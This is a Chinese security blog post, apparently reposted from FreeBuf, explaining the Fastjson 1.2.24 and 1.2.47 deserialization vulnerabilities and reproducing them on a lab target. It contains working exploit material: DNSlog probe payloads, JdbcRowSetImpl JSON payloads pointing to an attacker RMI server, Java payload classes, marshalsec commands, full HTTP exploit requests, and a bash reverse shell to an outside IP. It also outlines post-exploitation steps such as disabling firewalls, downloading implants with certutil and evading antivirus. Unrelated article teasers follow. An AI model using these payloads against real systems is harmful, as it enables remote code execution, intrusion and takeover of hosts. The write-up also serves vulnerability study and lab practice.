当前位置:首页 > 杂谈 > 正文内容

一文读懂面试官都在问的Fastjson漏洞

2023-06-25 21:50:20TONY杂谈76

Fastjson1.2.24-RCE漏洞简介

fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。即fastjson的主要功能就是将Java Bean序列化成JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。

指纹特征

1、根据返回包判断

任意抓个包,提交方式改为POST,花括号不闭合。返回包在就会出现fastjson字样。当然这个可以屏蔽!

2、利用DNSlog盲打构造以下payload,利用sdnslog平台接收。

{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}

1.2.67版本后payload

{"@type":"java.net.Inet4Address","val":"dnslog"}{"@type":"java.net.Inet6Address","val":"dnslog"}畸形:{"@type":"java.net.InetSocketAddress"{"address":,"val":"这里是dnslog"}}POST / HTTP/1.1Host: 192.168.72.128:8090User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Content-Type: application/jsonContent-Length: 71{"YikJiang":{"@type":"java.net.Inet4Address","val":"pesy0e.dnslog.cn"}}3. Java站并且传的数据是JSON格式的都可以尝试4. Burp插件检测

漏洞原理

一、原理概述

fastjson在解析json的过程中,支持使用==autoType==来实例化某一个具体的类,==autoType==标注了类对应的原始类型,方便在反序列化的时候定位到具体类型,fastjson在对JSON字符串进行反序列化的时候,就会读取@type到内容,试图把JSON内容反序列化成这个对象,并且会调用这个类的setter方法。并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链,造成远程代码执行。

因为有了==autoType功能,那么fastjson在对JSON字符串进行反序列化的时候,就会读取@type到内容,试图把JSON内容反序列化成这个对象,并且会调用这个类的setter方法。那 么就可以利用这个特性,自己构造一个JSON字符串,并且使用@type指定一个自己想要使用的攻击类库。==

在fastjson中我们使用JdbcRowSetImpl进行反序列化的攻击,我们给此类中的setDataSourcesName输入恶意内容(rmi链接),让目标服务在反序列化的时候,请求rmi服务器,执行rmi服务器下发的命令,从而导致远程命令执行漏洞

二、Fastjson

FastJson是alibaba的一款开源JSON解析库,可用于将Java对象转换为其JSON表示形式,也可以用于将JSON字符串转换为等效的Java对象。

三、AutoType

fastjson的主要功能就是将Java Bean序列化成JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。但是,fastjson在序列化以及反序列化的过程中并没有使用Java自带的序列化机制,==而是自定义了一套机制。==

对于JSON框架来说,想要把一个Java对象转换成字符串,可以有两种选择:

1、基于属性2、基于setter/getter

而我们所常用的JSON序列化框架中,FastJson和jackson在把对象序列化成json字符串的时候,是通过遍历出该类中的所有getter方法进行的。Gson并不是这么做的,他是通过反射遍历该类中的所有属性,并把其值序列化成json。我们对java类进行序列化的时候,fastjson会自动扫描其中的get方法,将里边的字段值序列化到JSON的字符串中,当类包含了一个接口或者抽象了的时候,使用fastjson进行序列化的时候就会将子类型抹去,只留下接口(抽象类)的类型,反序列化的时候就无法拿到原始的类型。

但是使用SerializerFeature.WriteClassName进行标记后,JSON字符串中多出了一个@type字段,标注了类对应的原始类型,方便在反序列化的时候定位到具体类型,这个就是AutoType,和引入AutoType的原因。

因为有了autoType功能,那么fastjson在对JSON字符串进行反序列化的时候,就会读取@type到内容,试图把JSON内容反序列化成这个对象,并且会调用这个类的setter方法。那 么就可以利用这个特性,自己构造一个JSON字符串,并且使用@type指定一个自己想要使用的攻击类库。

四、@type

@type是fastjson中的一个特殊注解,用于标识JSON字符串中的某个属性是一个Java对象的类型。具体来说,当fastjson从JSON字符串反序列化为Java对象时,如果JSON字符串中包含@type属性,fastjson会根据该属性的值来确定反序列化后的Java对象的类型。

五、 JNDI 注入

1、JNDI是什么

JNDI全称为Java命名和目录接口。我们可以理解为JNDI提供了两个服务,即命名服务和目录服务。

2、lookup函数

如果lookup参数可控的话,那么我们就可以传入恶意的url地址来控制受害者加载攻击者指定的恶意类。当我们指定一个恶意的URL地址之后,受害者在获取完这个远程对象之后,开始调用恶意方法。但是在RMI中,调用远程方法,最终的执行是服务端去执行。只是把最终的结果以序列化的形式传递给客户端,也就是这里所说的受害者。当然,如果受害者==内部存在漏洞组件存在反序列化漏洞==的话,我们可以==构造恶意的序列化对象,返回给客户端,当客户端在进行反序列化的时候,可以触发漏洞==;如果目标组件不存在反序列化漏洞,我们返回一个恶意对象,但是客户端本地没有这个class文件,当然也就不能成功获取到这个对象。

六、RMI

RMI(Remote Method Invocation)远程方法调用,是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法。

七、LDAP

LDAP是轻型目录访问协议的缩写,是一种用于访问和维护分层目录信息的协议。

八、JdbcRowSetImpl利用链

在fastjson中我们使用JdbcRowSetImpl进行反序列化的攻击,JdbcRowSetImpl利用链的重点就在怎么调用autoCommit的set方法,而fastjson反序列化的特点就是会自动调用到类的set方法,所以会存在这个反序列化的问题。只要制定了@type的类型,他就会自动调用对应的类来解析。

这样我们就可以构造我们的利用链。在`@type`的类型为`JdbcRowSetImpl`类型的时候,JdbcRowSetImpl类就会进行实例化,那么只要将`dataSourceName`传给`lookup`方法,就可以保证能够访问到远程的攻击服务器,再使用设置`autoCommit`属性对lookup进行触发就可以了。整个过程如下:

通过设置`dataSourceName`将属性传参给`lookup`的方法—>设置`autoCommit`属性,利用`SetAutoCommit`函数触发connect函数—>触发`connect`函数下面`lookup`函数就会使用刚刚设置的`dataSourceName`参数,即可通过RMI访问到远程服务器,从而执行恶意指令。

exploit如下:{“@type”:”com.sun.rowset.JdbcRowSetImpl”,”dataSourceName”:rmi://192.168.17.39:9999/Exploit”,”autoCommit”:true}

值得注意的是:1、dataSourceName需要放在autoCommit的前面,因为反序列化的时候是按先后顺序来set属性的,需要先etDataSourceName,然后再setAutoCommit2、rmi的url后面跟上要获取的我们远程factory类名,因为在lookup()里面会提取路径下的名字作为要获取的类。

九、触发流程

漏洞复现

通过以上方法横向到目标主机后,通过多种方式上线远控:列举一下三种(还有其他姿势暂且不写,以下三种为简单粗暴的): 

1:开3389,关防火墙,rdp上线 ,如果做了对3389做了安全策略,用netsh端口转发绕过即可 【其实在横向的时候,需要目标的密码,我们通过某些方式获取到后,但目标没有开放3389,但是开放了5985,5986服务,这个时候就可通过winrm横向过去】 

2、目标不出网certutil下载正向马执行,CS及MSF上线 【无杀软情况,有杀软做免杀】

3、目标出网powershell、反向exe,上线CS及MSF【无杀软情况,有杀软做免杀】

1、访问靶机

靶机运行后,访问http://you-ip:8090 即可看到JSON格式的输出

2、攻击环节

a.首先我们构造一个YikJiang.java命令执行荷载,上传VPS并编译

// javac YikJiang.javaimport java.lang.Runtime;import java.lang.Process;public class YikJiang { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"touch", "/tmp/YikJiang0916"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } }}

b.终端进行编译

注意要使用java1.8版本,高版本的jdk 版本把远程调用修复了,因为这个搞了半天

javac .\YikJiang.java

c.编译完成后,会发现当前目录下生成了YikJiang.class文件

d.利用python启动临时的http服务,端口为8888

python.exe -m http.server 8888

e. 利用marshalsec工具(需要maven环境编译),或者使用工具marshalsec-0.0.3-SNAPSHOT-all.jar

f.生成payload

启动RMI服务器,监听8888端口,并指定加载远程类YikJiang.class

java -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.161:8888/#YikJiang" 777

g.修改提交模式和Content-Typeapplication/json,发送payload

POST / HTTP/1.1Host: 192.168.72.128:8090User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Content-Type: application/jsonContent-Length: 161{ "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.1.161:777/YikJiang", "autoCommit":true }}

3、攻击结果

进入doker容器docker exec -it 6549e687ad97 /bin/bash

Fastjson1.2.47-RCE漏洞

一、漏洞简介

fastjson 于1.2.24 版本后增加了反序列化白名单。而在2019年6月,fastjson 又被爆出在fastjson< =1.2.47的版本中,攻击者可以利用特殊构造的 json 字符串绕过白名单检测,成功执行任意命令

二、漏洞复现

在1.2.24版本漏洞复现中,我们利用fastjson漏洞进行了命令执行,1.2.27中,我们就尝试反弹shell(其实原理都相同)

1、访问靶机

靶机运行后,访问http://you-ip:8090 即可看到JSON格式的输出

2、攻击环节

a.我们构造反弹Shell

构造反弹shell的方式有很多种,这里用Hack-Tools插件进行构造

bash -i >& /dev/tcp/192.168.1.161/6666 0>&1

b.首先我们构造一个YikJiang.java命令执行荷载,上传VPS并编译

import java.lang.Runtime;import java.lang.Process;public class YikJiang { static { try { Runtime r = Runtime.getRuntime(); Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.1.161/6666 0>&1"}); p.waitFor(); } catch (Exception e) { // do nothing } }}

b.终端进行编译

注意要使用java1.8版本,高版本的jdk 版本把远程调用修复了,因为这个搞了半天

javac .\YikJiang.java

c.编译完成后,会发现当前目录下生成了YikJiang.class文件

d.利用python启动临时的http服务,端口为8888

Python2.0python2 -m SimpleHTTPServer 8888Python3.0python3 -m http.server 8888python.exe -m http.server 8888

e. 利用marshalsec工具(需要maven环境编译),或者使用工具marshalsec-0.0.3-SNAPSHOT-all.jar

f.生成payload

启动RMI服务器,并指定加载远程类YikJiang.classjava -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.161:8888/#YikJiang" 9999

g.本地开启监听nc -lvp 6666

h.修改提交模式和Content-Type为application/json,发送payload

POST / HTTP/1.1Host: 192.168.72.128:8090User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Content-Type: application/jsonContent-Length: 287{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.1.161:9999/YikJiang", "autoCommit":true }

3、攻击结果

发送成功后,RMI服务器记录了请求信息,并且成功反弹Shell

作者YikJiang,文章转载于FreeBuf

END

• 往期精选

windows提权总结

一次SSH爆破攻击haiduc工具的应急响应

记一次艰难的SQL注入(过安全狗)

记一次溯源

下方点击关注发现更多精彩

“一文读懂面试官都在问的Fastjson漏洞” 的相关文章

传世尊享(荣耀版),最大的智商税是这个

传世尊享(荣耀版),最大的智商税是这个

增额终身寿险的智商税分两种: 一种是明面上的智商税,如加减保未写入合同、现金价值偏低; 一种是隐藏很深的智商税,如把保额当成现金价值、混淆内部收益率(IRR)的计算方法。 今天,我们要聊的产品是,传世尊享(荣耀版),它的智商税共有3个,我们只聊其中最大的那一个,即现...

云盘和网盘有什么区别?

云盘和网盘有什么区别?

不限速同步网盘,给你的重要资料一个安全的家~云盘和网盘也许没太大区别,但是同步网盘和备份网盘却差别大了 我们经常听到“网盘”这一名词,我们以为“网盘”顾名思义是网络U盘/网络硬盘,将资料备份储存的网上空间,然而这只是“备份网盘”的含义。...

AI热潮提振云服务需求 微软(MSFT.US)Q3业绩全线超预期! 盘后一度跃升超9%

AI热潮提振云服务需求 微软(MSFT.US)Q3业绩全线超预期! 盘后一度跃升超9%

智通财经APP获悉,美国科技巨头微软(MSFT.US)截至3月份的第三财季利润和销售额双双超出分析师预期,主要原因在于随着全球科技企业竞相布局生成式AI产品,各大企业对其重要产品...

高速路道路救援拖车需要多少钱

高速路道路救援拖车需要多少钱

需要说明的是普通汽车不得在高速公路拖拽牵引其他车辆,因为以这种方式拖车无法进行中高速驾驶,后车总是无法正常制动或者观察道路情况的;而应急车道并不允许行驶,只是供故障车辆临时维修可以快速解决的问题使用。所以“车拖车”是不允许操作的 1.高速发展公路进行救援收费管理标准按车型...

重磅!住建部GB 55037-2022强制性新规范发布,6月1日起实施!

重磅!住建部GB 55037-2022强制性新规范发布,6月1日起实施!

2023年1月,住建部发布国家标准《建筑防火通用规范》。自2023年6月1日起实施。本规范为强制性工程建设规范,全部条文必须严格执行。同时废止了781项工程建设标准相关强制性条文。那么GB 55037-2022《建筑防火通用规范》和GB 50016-2014《建筑设计防火规范》(...

建筑资质按照新政策申请细则两条

建筑资质按照新政策申请细则两条

原标题:建筑资质按照新政策申请细则两条 建筑资质新的申请政策已经出台,按照新政策申请建筑资质办理,主要参考以下两条。 1、建设工程企业资质证书有效期自动延续 我委核发的建筑业企业、工程监理企业资质,资质证书有效期于2023年12月30日前期满的,统一延期至2023...